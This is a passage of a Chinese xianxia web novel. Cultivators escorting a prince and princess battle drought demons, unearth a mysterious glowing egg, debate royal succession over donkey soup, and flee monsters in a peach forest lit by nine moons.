等他们安顿好一堆侍卫宫女准备出发的时候,一推开旅舍大门,就见外头澄澈清亮一片,哪里还有雾的踪影?自从得知雾是保护她们的阵法之后,众人见眼前的清楚明白,只觉浑身赤·裸,一时警惕地停在了门口。 这时候石映心说:“有妖气。” 她不说大家也有不敢信的猜想,她一说大家就死心啦。 顾梦真掏出辟邪灯,白日中光亮不明显:“哪呢哪呢?” “啊!”童柔意忽然跳了一下,往后退了几步叫道,“地上怎么这么烫!?” 众人闻言纷纷低头看去,就见黄土大地上竟冒出热气,如无数无形灵蛇般腾升上游,咬得空气歪歪扭扭;不过一会儿,就听几声咔嚓,她们的脚下延伸出几道裂痕——大地干裂了。 姬滢在边上恍然大悟道:“原来是用旱热把迷雾蒸干了,竟还能这样破我的迷雾之阵,好聪明的妖怪。” ……现在不是夸人家的时候哈。 曾换月渐渐也觉得脚底发热,忍不住跳了两下:“什么妖怪有这样的本事?” “是旱魃。”童嘉文却松了口气,“是我们这一带常见的妖怪,所到之处一片干旱,寸草不生;不过几位不必担忧,旱魃不过是小妖怪,就连寻常百姓都能轻易杀之。” 童柔意也不屑地哼了一声,一改方才有些惊慌的模样,目露不屑道:“切,不过是小小旱魃。” 听着很不足为惧呢。 顾梦真左看看右看看:“哪呢哪呢?” 仿佛回应他的召唤,不远处的一道干裂中很快长出一只扭曲的鬼影,它身形矮小扭曲像垂死干枯的老人,皱纹如伤疤布满丑陋的面目,利齿如密梳;双手着地与双腿并行,显然是野兽的架势。 这等小妖怪石映心一剑能穿一串,曾换月顿时松了口…… 咔嚓咔嚓咔嚓咔嚓…… 大地猝然多出无数裂缝,又从其中长出数十只旱魃,有大有小,形态各异,有些是小至婴儿,有些狗头人身,有些竟是人首鸟身,哗哗闪着翅膀就飞到了天上。 这时听公主尖叫一声,皇子也是大惊:“我从未见过这么多奇怪的旱魃!” 曾换月这口气终究还是没松完。 几位仙人只好忙碌起来,还好这些旱魃都是冲着童家人而来,撇开那些侍卫倒是方便了多,否则还要分心保护这些凡人。但竟然有不怕死的侍卫在旅舍里听到了动静要跑出来保护他们殿下,被周赫骂了回去,叫他们赶紧进屋躲着别出来添乱。 姬滢将两个凡人护在身后,飞出几张符箓将三人团团围起作庇护屏障;周赫在边上护法驱妖。 以水治干旱是寻常手段,顾梦真召出降雨云舟灌溉大地,淋了雨的旱魃皮肉滋啦作响,发出惨叫,但依旧能坚强地行动;云舟却很快受到了鸟身旱魃的攻击,顾梦真连忙变出大鹏展翅,载着曾换月去上边应敌。 至于地上则是两个剑修的战场,二人杀旱魃的速度很快,真就是一剑一串;但旱魃从地里长出来的速度也很快,仿佛生之不尽死之不竭。 明易见状不妙,抽空问童嘉文:“这些旱魃的起源在何处?” 童嘉文大声回答:“本王不清楚——” 明易:…… 空中一边打怪一边对被损坏的云舟缝缝补补的曾换月突然想到什么,连忙传音给师兄师姐:“这玩意像蟑螂一样层出不穷,定是有个母体!” 母体? 石映心一剑劈开张牙咧嘴狗头旱魃的狗头,手腕一转把剑往下一刺,将她脚边还未来得及完全长出来的旱魃的脖颈钉在了黄土上,声如定剑:“我把这块地劈开看看。” 曾换月:“师姐你别冲动啊!母蟑螂很可怕的!” 顾梦真:“完了完了,被这些怪鸟发现降雨的舟底是软肋了!” 明易:“映心,你我二人从东西并进。” 石映心:“好。” 顾梦真:“等等这地劈坏了不是要我们赔吧——” 好了好了二师兄,赔偿的事都是最后再算账的,现下最要紧的是闯祸。 就见二人往东西两侧飞去,二人之间的距离大致将长出旱魃的范围囊括,稍稍远些但也能瞧见对方拇指大的身影。站定之后,好目力的师兄妹二人还是能瞧见对方脸上相似的淡定表情。 大地裂缝中还在不断地长出旱魃来,降雨云舟像是在雨中被无数扑棱蛾子纠缠的火光,一片的黑点点;姬滢那边似乎也不太妙,她正面色苍白地用灵力支撑着庇护屏障,周赫的身上已然多了几道伤痕。 公主皇子客气地挨着,目瞪口呆地看着面前的一切。 师兄妹二人不再犹豫,果断挥剑而起。帝血剑刺入大地之中发出“铮”的鸣声,剑身不过很隐约地震动了一下,紧接着就被充沛的灵力笼罩住,顷刻散出浩荡骇人的剑意。 随着石映心往前飞去,它像笔尖在土纸上写下挥毫泼墨的一笔。石映心二人显然不是合格的书法大家,这一笔渗开的墨水如无数裂痕留在了纸上;不过衔接时处理得不错,帝血剑和寒竹剑默契停在彼此毫厘之前,如此算是写成了。 石映心与明易对视一眼,御剑飞起。 这时姬滢那边两个凡人也感到不对劲了,童嘉文隐约感到脚下的大地在震动,额上已经全是汗珠:“他、他们二人在做什么?” 童柔意一着急就没好语气:“看不出来啊?他们在劈地啊!总之要保住我们两条命— —啊!” 大地战栗起来,姬滢连忙收了阵法,和周赫一起提着公主皇子往远处飞,这时候是顾不上凡人飞天时兴奋的惨叫了。 石映心飞到空中还要帮忙斩扑棱蛾子,都没来得及观赏下方大地开裂的景色。被她斩下的旱魃从空中掉下,如烧焦的飞蛾坠落灯台,和那些不会飞的旱魃一同掉入黄土张开的嘴巴,通通被回收做肥料了。 等大地的动静停下来,鸟身旱魃也被她们杀得差不多了。 石映心总算松了口气,这时候听到小师妹在边上倒吸一口气:“师姐,你快看下面——”—— 作者有话说:不出意外的话本文会在八月六日(周三)入V,倒V章节27-81(到本章),注意不要重复购买哦,明天三更 终于入V啦,感谢大家的支持 第82章 下面有什么呢? 石映心低头望去,就见黄土大地像撕开的红糖馒头,崎岖纵横的纹路上扒拉着许多没摔下去或正随着碎石摔下去的旱魃;这还不够,只见地面往下约一丈深处,竟有一厚厚的白骨层,人头人手人腿,完整的碎裂的应有尽有。 再往深处看去,光线便有些昏暗了,但依旧可见那层活的死的旱魃地毯之下,隐约有一颗发着青光的……蛋? 内容有些丰富,大家一时反应不过来。 曾换月感到自己起了浑身的鸡皮疙瘩,她卡顿地说:“这、这里的地面之下怎么会是这般景象?那些白骨是什么?底下那个发光的又是什么?师姐,你看这些像不像……” 石映心略作思考:“千层糕?” 曾换月:…… 别说还真有点……呸呸呸!现在不是想千层糕的时候。见师姐眼睛睁得大大的,很投入地望着糕底青色的东西,眼瞧着就想飞下去,曾换月警惕地拉住她:“师姐,下面看着很危险!”你不会下去乱来吧? 石映心说:“可是地都打开了。” 曾换月朝边上的明易一台下巴:“那让大师兄下去看看,你在这保护我和二师兄吧!”大师兄肯定不会乱来的。 石映心点点头:“好。” 曾换月松了口…… 石映心:“那就大师兄留在这里保护你和二师兄,我下去看看。” 曾换月:? “等等、师姐——” 石映心往裂缝中飞去,明易方才还和顾梦真说话,一扭头人已经飞走了,只好紧忙跟上去。 好熟悉的青光。 好熟悉的气息。 石映心总觉得自己与这颗被埋藏的蛋似曾相识,也许在很久很久之前就见过?她穿过白骨层的时候有一瞬的心脏刺痛,但只是身形微微凝滞了一会,又投入地、满心满眼地奔向下方的青蛋。 你是谁呢? 我又是谁? 大师兄在后边叫她:“映心!” 帝血剑挥起,剑意将蛋上的一片旱魃撕开,青光便显出了人间,照在她幽幽的双眸上。这是一颗有十二尺高的蛋,蛋壳上是密密麻麻的奇特纹路,不像宝器那种由人为绘制,而是浑然天成的天地密语。 明易落在蛋上,石映心身边:“映心?” 石映心头也不回地问:“大师兄,这是什么蛋?” 明易瞅她盯着蛋直勾勾的眼神,不知她为何这么上心,难道是:“映心,这不能吃的。” 石映心:…… 大师兄到底在想什么啊。 “我不吃。”石映心拍拍蛋壳说,“换月说得不错,这蛋应该就是那些旱魃的母体,我感到其中有许多灵力,就是它为大地提供再生旱魃的力量……大师兄,我们把它占为己有吧。” 明易觉得这里用“占为己有”这个词不能出自正派之口,顿了顿纠正道:“你说得对,此蛋正邪不详,还需带回门派检验。” 说着就要收蛋,但是石映心说:“师兄,放我这吧。” 她似乎很在意这颗蛋,放她那也行:“好。” 二人回到地面上,师弟妹正在和姬滢她们说话,童嘉文若有所思地说:“近日京城附近确实频繁有旱魃活动,难道是与方才你们发现的那颗奇蛋有关?” 童柔意蹙着秀眉:“可这颗蛋显然已经埋在地中许久,为何现在才出现异样?” 童嘉文摇摇头:“本王如何清楚?” “那些白骨是怎么回事?”曾换月问。 “大概是先前在此处战死的士兵。”童嘉文说,“城外这一片在几百年里常做守城最后一道战线。” 童柔意插了句嘴:“不过奇了怪了,往常那些无名尸体都会被堆在一起烧了了事,这些怎么会被埋起来?还埋得这么深……” 童嘉文一顿:“也许是有好心人不忍他们曝尸荒野……” 童柔意撇嘴:“战乱后民不聊生,谁有这好心?” 童嘉文:…… 公主皇子之间的氛围变得有些尴尬,好在大家都不太在意这俩。姬滢知道她们收了蛋,提出想看看。石映心也很大方,把蛋变成手掌的大小后拿出来递给她,还追问一句:“姬滢,你看看有什么特殊之处。” 姬滢微蹙眉头,仔细打量着蛋壳上的纹路,迟迟没有开口,倒是周赫在边上说:“这上面画的图案有些纹样像我们天机阁的阵法样式。姬滢,你说是不是?” 姬滢似乎有些犹豫,不过还是点了点头:“是有些相像,不过也只是像。” 说着把蛋还给了石映心:“等到了天机阁,可否借与我们阁主一看?” 石映心对妙望阁主有些印象,似乎和她师父笑盈盈地说过话,于是点点头同意了。大师兄也没有说什么。 解决完旱魃,开裂的地面暂时无法了,童嘉文命侍卫等人先将这块地管辖起来,具体的等他回来再议;于是八人继续往涿鹿驿站走去,快到驿站的时候碰到了一个守株待兔的邪修,不过很快便被他们驱逐逃亡了。 经这两回,公主皇子都已见识了几位仙人的实力,就连童柔意说话都客气了许多,不高兴时顶多抿嘴挂脸,象征性地摆一摆皇家架势。 迷雾已散,可以出发下一站了。 涿鹿驿站==> ==>洛邑驿站 洛邑驿站就在洛邑城门边上,一出来就见许多百姓在城门进进出出,门外还摆着一些摊位,吃的喝的用的啥都有,还挺热闹呢。 不过她们不是要进城,而是要从这出发去桃林塞,等会飞过去倒也不是很远,所以现在就暂作休息,吃点喝点吧。 曾换月嗅了嗅鼻子:“好香的肉汤味!这是什么肉?” 再看那边摊位边招幌上写的字“捋捋驴肉汤”,咽了咽口水道:“师姐,我们难得来洛邑,就算没时间进城,也要尝尝当地特色美食啊!” 石映心也馋:“说的也是。” 明易记得队伍里还有两个凡人是要吃饭的,颔首道:“那不如就休息一会再启程。” 大家都没意见,就童柔意嘀咕了一声:“这些路边的肮脏玩意儿,吃了也不怕闹肚子。” 曾换月瞥她:“你可别吃。” 童柔意:…… 最后还是要童嘉文劝她两句,她才勉强打开尊口吃完了一碗驴肉汤。 童嘉文倒是吃得很少,等她们用膳的时候就站在那背着手打量着周遭的百姓,有些满意地感叹道:“洛邑如此繁荣,百姓安居乐业,是个好地方。” 童柔意瞥他 一眼,声线略扬道:“如今的繁荣是先皇的功业,四哥可有信心延续?” “本……” 不等童嘉文说啥,边上收拾碗筷的小二哈哈笑道:“那倒也不算,我们洛邑都热闹好好几百年了。”说完拿着空碗就走了,仿佛只是随口一谈。 童嘉文听了似乎心情有些郁结,走过来叹了口气道:“国不可一日无主,我们竭力维系着朝政稳定、民间安乐,可这些百姓见识浅薄、鼠目寸光,无意识父皇的丰功伟绩,只说眼前繁荣是寻常,唉……” 顾梦真也不了解他们这些事,只是好奇一问:“难道你的父皇不得民心吗?” 童嘉文微微发愣,摇摇头道:“没听过这种事。” 公主却在边上呵呵笑:“如今只要不伤民心的就是好皇帝了。” 童嘉文皱眉道:“柔意,你不要胡说。” “本宫说什么了?” 石映心对皇家的事更是一窍不通,全是看话本认些词句,自然也有一些好奇:“为何国不可一日无主?” “这是因为……”四皇子很连贯地说了一大堆石映心没听懂但一听就很有道理的话,这些话对她来说就是穿耳过的存在,不过听四皇子一句连一句地吐出来,仿佛已经熟能生巧,说完之后松了口气,好像比她二师兄一口气喝半碗汤还要畅快,“……故国不可一日无主。” 石映心:“哦。” 她怎么反应平平的?童嘉文想,心中又多了些失落。难道他方才说得不够义正辞严、不够震撼民心?瞅石仙人冷淡的模样,他的唇抿了又抿,还是忍不住问:“不知……石仙人有何高见呢?” 石映心:“怎样才算是高见?” “这……石仙人是高人,说的话自然都是高见。” 石映心听到小师妹悄悄的偷笑声,又看到公主不明显的一个白眼,二师兄一边吃面一边抬眼好奇打量,大师兄仿若无事发生,就坐在那没动。 好吧,那石高人就发表一下高见:“方才你说的话中句句都是为了百姓着想,若是有人比你更适合当皇帝,你愿意让贤吗?” 这把童嘉文听傻了,双目发直地看着她。 不等她回复,石高人又道:“还有一个问题我在旅舍就想问了,既然你登基就会死,那你不当皇帝不就没事了?再说前头死了四个才轮到你,如今你也是前途未卜、生死难料,难道这皇位真该属于你?” “本、本王……”他下意识想反驳,但只说了句在石映心听来不算反驳的话,“不管父皇和几位哥哥如何,现下童家血脉中只留下本王一位皇子,又有幸得几位仙人的庇佑。相信以几位的能力定能护本王周全,这便是天命所归了。” 石映心:“为什么只有你们童家人能做皇帝?你们童家难道不是从别人手中夺的江山?既然是童家血脉中了登基就要死的恶咒,天命的意思也能是换家人做主江山吧?” 童嘉文:…… 那你这么说他就没话说了。 瞧见皇子吃瘪,公主哈哈笑起来:“真是不谙世事的世外仙人。好啊,本宫就告诉你,所有那些为民为天下太平的借口皆是粉饰,能让四皇子舍命称帝的最大原因不过是贪欲二字罢了。” 石映心看向她:“贪欲比性命还重要。” 公主眉眼弯弯:“性命只有在将死的时候最重要。”—— 作者有话说:一更 第83章 好像是这样。 石映心颔首道:“你说的有理。” “也不是所有人都这样啦。”曾换月加入话题,“像我这样胆子小的,在任何时候都把性命看得最重要的。” “是啊是啊,”顾梦真嚼吧嚼吧咽下烧饼,“死了就什么都没有了,多少金银财宝都没得花了。 童柔意瞥过他们二人,轻哼一声道:“对,世上也是有像你们这样的人的。” 二人:? 意味不明的话让他们的脑子有些没转过来。很快大师兄就说要启程,于是这些闲谈烦心暂且抛之脑后,准备出发桃林塞。 看桃林塞的名字也就知道了,因是一大片望不尽的桃林,又将几座城池分隔开而得名。据说这桃林存在的时间比附近几座城池都要久远,问洛邑的百姓,都说往上数好几代祖先都说过这桃林的故事。 但凡什么东西活得久了,就容易成精。 “我劝几位还是绕道而行吧,”驴肉汤摊主说,“已经有几十年没人敢走桃林中过了,据说里头都是成精的妖怪,有进无回啊!就是侥幸出来了也是浑浑噩噩,跟脑子坏了似的。” “是啊是啊,”边上和驴肉汤的客人道,“你们几个年轻人何必想不开,绕道过吧!也就多走两三日,费些时日总比没了小命好!” 边上的食客闻声都要附和两句,说什么桃林塞里的妖怪会吃人扒皮啊,这些凡间老生常谈的可怖故事,没有更多的新鲜消息了,看来还是得亲自去看看…… “桃林塞有好多月亮。”有一个喝汤还要娘亲喂的小姑娘说,见几人看来,就挥了挥脏兮兮的手道,“好多好多月亮!” 曾换月好笑道:“是吗,你瞧见了?” 小姑娘咧嘴笑道:“没瞧见,有一个长好多胡子的爷爷同我说的!” “别听她瞎说,”她娘亲用手掌往她嘴巴那一抹,抹去汤汁碎末,朝几人抱歉一笑,“我家姑娘平日就爱听这些稀奇古怪的故事,什么夸父逐日嫦娥奔月,别人怎么说她都信!” 小姑娘不满嘟嘴:“我没瞎说,那个爷爷就是这么说的。” 她娘亲:“那个老头也是瞎说的。” 小姑娘:“可是……” 她娘亲见女儿嘴缝一开就把烧饼塞进去:“赶紧吃吧,吃完回去做功课!” 小姑娘顿时蔫巴下来:“……” 几人只觉得这情景有些温馨好笑,并没有放在心上,很快便离开了这片繁荣之地,等到了人少一些的郊外,便御物往远方的桃林塞而去。 在空中瞧见那片茂盛浪漫的桃林时她们还有欣赏的心情,童嘉文甚至吟诗了一首。蓝天白云之下,这片纯净的桃粉真像世外桃源一般,风仿佛带着甜蜜而来,如此让人心生向往。 姬滢她们说桃林塞飞不过去,某些人原先还有侥幸心理,等砰地撞上空气墙了才死心回头。等落了地,明易问:“桃林塞这带一直不能飞吗?” 周赫道:“在我印象中一直是这样。而且我听阁中其他弟子说,这桃林塞虽说灵气充沛,但妖气并生,确实有许多精怪在此成精成妖;对修士来说却有很大的中邪风险,故几乎没什么人来。再加上这片一向安定,没什么大动静,附近的三大门派都不怎么管。” 姬滢补充道:“应是有类似阵法的结界。” 众人若有所思地点点头表示了解了。 曾换月:开新地图没攻略呜呜。 姬滢抬头望天:“天色将黑,看来我们要在桃林中过夜了。不知桃林中的星情如何。” 曾换月半开玩笑道:“哈哈,不是说有很多月亮吗?到时候照得一颗星星都瞧不见了。” 童柔意嗤笑一声:“从来只见过一个太阳,一个月亮,只再多出现一个,这天下就要乱套了。” 童嘉文亲和地说:“小儿戏言罢了。” 石映心:“可以进去了吗?” 进去了进去了。 世上的秘境禁地结界多是易进难出,其中异象各有不同。比起早已经熟练的几位仙人,一进桃林后忽然变换的景色叫两个凡人震惊不已。妖怪邪修不过骇人一些,可天地竟也能转瞬调换。 明明方才还是未到黄昏的白日,脑子一懵就只瞧见昏沉的夜色了。 不过说昏沉也不算…… 她们抬起头来,看见暗红的桃树之上,幽黑的夜空之中,一个接一个、排排地挂了九个月亮,个个都是圆如玉盘,皎洁明亮,照得桃林一片清楚,万物无所遁形。 “一二三四……”童柔意的眼中盛满了月光,“真是九、九个月亮……” 在她边上的四皇子仰着脖子脑袋僵硬地望月,面色不知为何非常苍白。 大概是从小听惯了“天有异象,必有世殇”的皇家故事,一时触景生情。 “没想到那小姑娘说得是真的……”顾梦真有些诧异,“可那个老爷爷又是怎么知道的,难道他大把年纪的来过这然后又成功出去了?” 曾换月甚至还有些放松了:“可能是其他仙门的能士吧。不过既然他能出去,我们一定也可以。话说我只听过九个太阳的故事,没听过九个月亮的,不过世上原来真有日月错乱的地方啊。” 姬滢一一看过九个月亮,正如方才曾换月在外头开玩笑所说的,月色太过明亮,照得一颗星星都瞧不见了,如此便不好用占星术;再说这桃林塞中的九月也不是寻常的月亮,卜月也难办…… 思酌之间,忽然边上有吵闹动静,转头一看,是曾换月抱着她师姐嚷嚷:“师姐你冷静点嘛,我们先往往前走走再说……” 石映心拿着剑的手有些挣扎:“我就飞上去看看怎么回事。” 顾梦真也劝:“算了算了,要是不小心和我们走散了怎么办” 石映心顿了顿:“没事。” 二师兄:“……到底是谁没事!” 明易叹了口气:“你们在这等着,我上去看看。” 他去的话大家都比较安心,毕竟人家有分寸。于是就决定让他去看看,结果寒竹剑都拿出来了,却飞不起来。 众人顿感很多不妙,纷纷拿出自己的飞行法宝,结果都行不通。明易看他们不甘心地再三尝试,叹了口气道:“在外面不能飞过去,在里面也飞不起来……看来桃林塞对飞有很多限制。” 显然是这样的。 大伙一片唉声,只好死心了,好在是都长了腿的。 他们商讨了一会,周赫往上一指说:“你们看这些月亮排列的方位自东向西,好像就是我们出桃林的方向?我们现下似乎只处在第一个月亮的照临范围内,不如顺着走过去瞧瞧?” 大家觉得他说得有理,于是往第二个月亮走去。 走了几步童柔意问:“难道这里只有黑夜,没有白天了?” 凑巧走她边上的石映心瞥她一眼,大概是觉得她是在和自己说话,于是点了点头。 童柔意默了默:“怪不得这里没有凡人,只有妖怪……没有太阳,凡人在此处是活不下去的。” 石映心不知道她为啥想到这个,随便道:“那变成妖怪。” 童柔意古怪地看她:“这怎么行?” 石映心道:“你先前说性命只有在将死的时候最重要,真到了活不下去的时候你也不愿意变成妖怪吗?” 童柔意:…… 见她被噎着,童嘉文柔声劝慰她:“柔意不怕,有几位仙人庇护,我们定能平安离开此地。外头是寻常景色,届时便瞧不见这些骇人的异象了。” 童柔意轻哼一声:“谁怕了?” 她就是这么说话的,童嘉文并不在意地笑了笑。 撇开这些稀稀疏疏的说话声,明易在前头领路,双目专注地打量着周遭的一切。桃林中静得异常,寻常林子中最少也有树叶簌簌沙沙声,可这里就连一阵微风都没有…… 簌簌。 什么动静? 他顿住脚步,抬手示意身后人安静,定睛往前方那颗桃树看去—— 簌簌。 众人紧张僵硬着,目光纷纷投望,就在万众期待之下,桃树后忽然蹦出了一个黑影—— “切,兔子啊。”周赫松了口气,“我还以为是什么妖怪。” 他话音一落,那兔子就往前蹦了一下,离开了树荫的范围显出本身来,就见它一身在月光下白亮的毛发,两只又大又突的血红双目有两颗长出下巴的大尖牙,还有四只粗壮的利爪。 长得好可怖一只兔子,曾换月想,不过:“嗐,也只是只兔子嘛,哈哈……” 簌簌。 簌簌簌。 簌簌簌簌。 簌簌簌簌簌簌…… 不过几声簌簌之间,就从桃林塞进兔子国了。众人看着面前的兔子地毯、无数颗被兔子淹没的桃树,默默地咽了下口水。 ……搞什么,兔海战术啊? 好在大伙经历过旱魃海战术,和丑陋的旱魃一对比,这些兔子再如何也可爱一些,不过是辛苦两位剑修的胳膊……一开始大家都这么认为的。 谁知这些兔子和旱魃不一样,旱魃杀十几只后肉眼可见会少一些,但兔子却是完全不少,甚至还越来越多——更烦人的是那些死去的兔子会被其他兔子吃掉,吃了死兔子的兔子就会壮大一圈,其中有几只甚至长到了腰那么高。 还以为在玩贪吃兔呢! 曾换月看这同类相食看得头皮发麻。 大伙很快意识到不妙,他们又压根没想明白这些兔子的生产源在哪,这下真是没招了,只能三十六计走为上计。 “快跑!” 前情提要,他们这会飞不了。 凡人都听过龟兔赛跑的故事,听完后都要嘲笑兔子一番;但若是到了人兔赛跑这一天…… 人是笑不出来的—— 作者有话说:二更 第84章 普通小兔子都跑得比人快,更别提这些变异兔子怪。 只好石映心在前头开路,明易断尾,二人勉强为众人杀出一块安全范围来,大伙都是撒了腿地使劲跑。 这时又有猪队友的问题,娇生惯养的公主皇子哪里想过自己会有被兔子追得这么狼狈的一日,平日自然没做竞跑练习,没跑多久就气喘吁吁、双腿灌铅,半步都难迈出去了。 真是拿他们没办法! 于是顾梦真背四皇子,曾换月背公主,二人提着气不敢松懈;背一会就放下来让他们跑一会,再换姬滢她们背……这时候就要发挥坚强的意志,想象自己是勤劳的骡子,没有停歇只有累死。 这些兔子到底还要追多久? 答案终于在她们避无可避地跳入面前的长河中出现了。 八颗脑袋湿漉漉地冒出水面,十六只眼睛发直地望着止在岸边的兔子墙,它们一只一只地跳过来、一块一块地堆积起来,变成一堵墙,一座山,一张遮盖天地的帘布,将第一个月亮的光辉挡在其后,世间便黯淡了,只有无数双红色的眼睛在发光。 石映心低下头来,看见黑色的水面上游满了红眼睛,它们直勾勾地盯着她,轻微的波浪便让它们律动起来,仿佛蓄势待发,很快要爬到她们身上,一口一口地将她们啃食入腹中。 她忽然感到有人依偎着她,原来是公主,她通红的双目注视着水面,嗓子有些发抖:“快走啊……” 石映心看了看侧前方因为不会水被她二师兄背着的四皇子,又扭头望向另一边的河岸,第一个月亮的光辉恰好止于这条河流,岸上的那一些月色来自第二个月亮。 “看来这些兔子过不了河……”顾梦真露出一个有些虚脱的笑容,“太好了,不用再跑了。” 他似乎放松了一下,让背上的童嘉文有些警觉,连忙把他脖子抱紧了一些:“顾仙人,真是辛苦你们了,那我们快上岸吧?本王愧于不会凫水,实在不好意思再叫你受累背着……” 曾换月也松了口气:“走吧走吧,免得水里又冒出什么鱼怪来……呸呸呸!” 于是几人连忙上了岸,先是施了澄净诀把自己和两个凡人弄干;童柔意说好冷,大伙经她一提隐隐约约也觉得有点,于是顾梦真拿出两个火桶来,大伙一边坐着取暖一边缓神休息。 姬滢问有没有人受伤严重,她有治疗符可以缓解伤情。那么多兔子怪,大伙身上都免不了伤口,不过几位仙人都是习以为常的,并不把小伤放在心上,再说过几个时辰便能自愈了。 公主皇子各要了一张治疗符去,不过前者把符收了起来;童嘉文瞧见了还问:“柔意,你怎么不用?本王瞧你手背上有些伤口。” 童柔意抿着发白的唇道:“别管。” 四皇子也不是热脸贴冷屁股的身份,闻言便不问了。用了治疗符后他身上的伤口几乎在眨眼间愈合,这些疼痛一扫而空,让他心情都舒爽了不少,脸上又带上了柔和的笑意。 耳边传来几位仙人的商讨,听着叫人安心。 明易推测:“这条河应是两个月亮的分界线,兔子怪只能在第一个月亮下活动,不然以它们拼死相杀的妖性,不可能止步于此。” 姬滢点点头,表示同意他的说法:“看来这九个月亮各有难关。” 周赫叹气一声:“我们连第一关都是勉强逃生,后边还不知 道是怎么样!” 顾梦真有些可惜道:“如果我们能御物飞行的话,摆脱这些兔子易如反掌。” 曾换月一边捶腿按摩一边说:“可是偏偏飞不上去,这到底是为什么啊!” “因为答案就在天上。”石映心举头望明月,幽幽问,“有没有什么办法能把月亮摘下来?” 周赫嘴角一抽:“你这是异想天开。” 石映心没瞅他:“真正的月亮在外边。” 意思是桃林塞里的月亮不是真的,谁知道有没有办法摘下来呢。 大家听明白她的意思,一时也有些思酌,只是谁都没有思绪,场面就这么安静下来,只留下火光的热闹。 曾换月忽然想到什么,戳戳姬滢道:“姬滢,你卜卦不是很准吗?不如你算一算?” 姬滢微微摇头说:“七日不可再卜同一问题,我来之前问过一卦,卦象说有贵人相助,可安全抵达天机阁……我想贵人便是你们几位。” 曾换月懵道:“啊,是这样啊。” 贵人竟是她们自己……糟了,好有压力哦。 “再者,我的罗盘前几日意外损毁,若要起卦,需要连结天地……”姬滢的脸被月光照亮了一半,“可这里的月亮有古怪,卦象不一定准。” 大伙听得云里雾里,周赫忽然说:“不如我试试?” 姬滢抬眼看向他,微微颔首道:“师兄可一试。” 她们还没见过周赫的卜术呢,好奇地把目光望向他,就见他手一摊,变出一个巴掌大的龟壳来。四师兄妹皆是一愣,似乎想到了什么。 周赫见她们直勾勾的目光以为她们好奇,解释道:“天机阁的男弟子多用龟卜铜钱卦,女弟子则是罗盘蜥蜴骨。” 童嘉文的语气很客气:“原来修炼也分男女有别。” 周赫耸了下肩:“只有我们天机阁这样。” 童柔意抬起脑袋:“有什么分别?” 周赫顿了一下,有些可疑的犹豫;童嘉文以为是他不乐意说,便含糊解释道:“分别就很多了,世上多的是男子能做女子不能做,女子能做男子不能做的事。这些便是人家门派的隐秘了。” 童柔意便没再问,又把脑袋垂了下去。 周赫低声念咒,施法龟卜,丁零当啷地摇出铜钱卦来,见他皱眉打量了一会,还是松了口气道:“雪中送炭,虚惊一场。” 翻译:受尽折磨后但还活着哦。 听明白的脸已经白了。 童嘉文笑道:“太好了,好在吉人自有天相。” 是是是,到底谁在受苦受累啊。曾换月忍不住翻了个白眼,就算心里知道这一切都是为了完成任务,但多少有些不得劲。 “等等,雪中送炭?”顾梦真注意到周赫的用词,指了一圈师兄妹说,“如果只是贵人的话,我们是能算啦;但现在我们是一条船上的蚂蚱,怎么给你们送炭啊?” 周赫也愣了一下,觉得他说得有道理哦:“卦象是这么说的,总之是会有意外的助力……我们只要撑到那时便成。” 曾换月眉头一挑:“撑??” 周赫无辜道:“都说是雪中送炭了。” 大伙沉默了一下。石映心率先站起来道:“走吧。” 曾换月已经苦了脸:“去哪?” 石映心稳重地说:“找雪。” 几人:OO。 如果你想要助力,就得先遇上困难。道理是这么个倒理。 那就去迎接暴风雪吧。 ——暴风雪可以,暴风蟾蜍不行啊!! 曾换月瞅见那杵在路中的巨型蟾蜍,吓得发出尖锐的爆鸣,差点没跳到她师姐身上。石映心却是松了口气道:“只有一只……太好了。”她不想再杀同一样东西杀到厌倦。 这蟾蜍怪一只便有两棵树那么高,凹凸不平的丑陋外皮最先给人造成严重的视觉攻击。它端坐在那,又大又呆的双眼映着月光竟有些诡异的机灵,一颗颗瘤粒在月色下发着油光,看得叫人起鸡皮疙瘩。 童嘉文:“这这这这么大的蟾蜍??” 童柔意:“呕,好恶心……” 石映心恶心的怪杀多了,心中还是比较平静的,已经开始盘算等会用什么剑招然后怎么飞上去怎么……嗯?等等,她现在不能飞。 没事,到时候就用轻功踩树上跳,好在这癞蛤蟆的身量也不算太高……不过,这只蟾蜍的技能是什么呢? 好心的蟾蜍怪很快就给了她答案,只见它大嘴一张,哗地飞出来一道黑绿的液体,众人尖叫躲闪开,就见那毒液洒在桃树上、草皮上,生机勃勃的绿瞬间受侵蚀腐烂,发出阵阵的恶臭。 大伙就面如土色,知道难办了,赶紧先躲起来想办法。 顾梦真掏出一把伞来:“这是反弹弹防御伞,防毒防法术,不过我只有一把,映心给你吧。” 石映心拿过伞来,重得她差点掉地上。 二师兄:“防御比较厚所以重一些,还没来得及改良呢哈哈……” 曾换月掏出一叠符箓说:“这里头是解毒符,但是只管解毒不管腐蚀的伤口的哈,而且部分有副作用,概率在十分之一吧。不过你们放心,副作用是死不了人的。来来来,大家都吃一张。” 姬滢礼貌谢绝道:“我想我还能画阵撑一会……” 明易也微微摇头:“为防等会出现意外,我不吃了。” 顾梦真犹豫道:“真中毒了再吃来得及吗?” “……” 说话间,她们被蟾蜍发现了行踪,眼见空中一片毒液pia过来,吓得几人连忙抱头逃窜。 又换了棵树躲,明易的视线从蟾蜍鼓鼓的大肚子上收回来,警惕推测道: “蟾蜍怪浑身的瘤粒都含毒液,估计腹肚和血液之中也是……贸然去用剑砍,只怕毒液四散喷出,避无可避。虽说有梦真防御伞和换月解毒符的庇护,但我们尚未清楚它毒素的利害。还是要谨慎行事。” 大家听了脸色青青,童嘉文出神道:“若是沾染上几位仙人都没办法的毒素,我一介凡人……” 石映心也听明白了,眉头一皱道:“不用剑砍怎么杀它?” “怕是难杀。”明易微微摇头,“还是老办法,你们几人在前头跑,我与映心断后。”—— 作者有话说:三更 第85章 石映心虽说不喜欢“三十六计走为上计”这类有些憋屈的办法,但好在还算识时务、顾全大局,很快便接受了大师兄的安排。 桃树恬然,风声静谧,腐蚀的枝干如泥点掉在地上,悄然渗透了地上的落花。浩然夜空、无尽天地此刻皆由月亮主宰;在这片冷淡漠然的月色之中,猝然有一点暖光烧出一圈温热。 她们飞奔而出,由顾梦真拿着辟邪灯在前方领路,灯光照亮地面斑驳错乱的毒液,这些人左扭右拐上蹿下跳着,个个都姿态滑稽,一排人溜过去像狼狈逃离的蚯蚓。 蟾蜍怪合上的双目像推拉门被扒开,咕噜地转了门后的眼珠子,很快就锁定了几人的方位。它因体型庞大而略有迟钝,但蹬地一跃却可抵百步,肥硕的身子一瞬间遮盖了圆月,在小小凡人身上盖下一大片阴影。 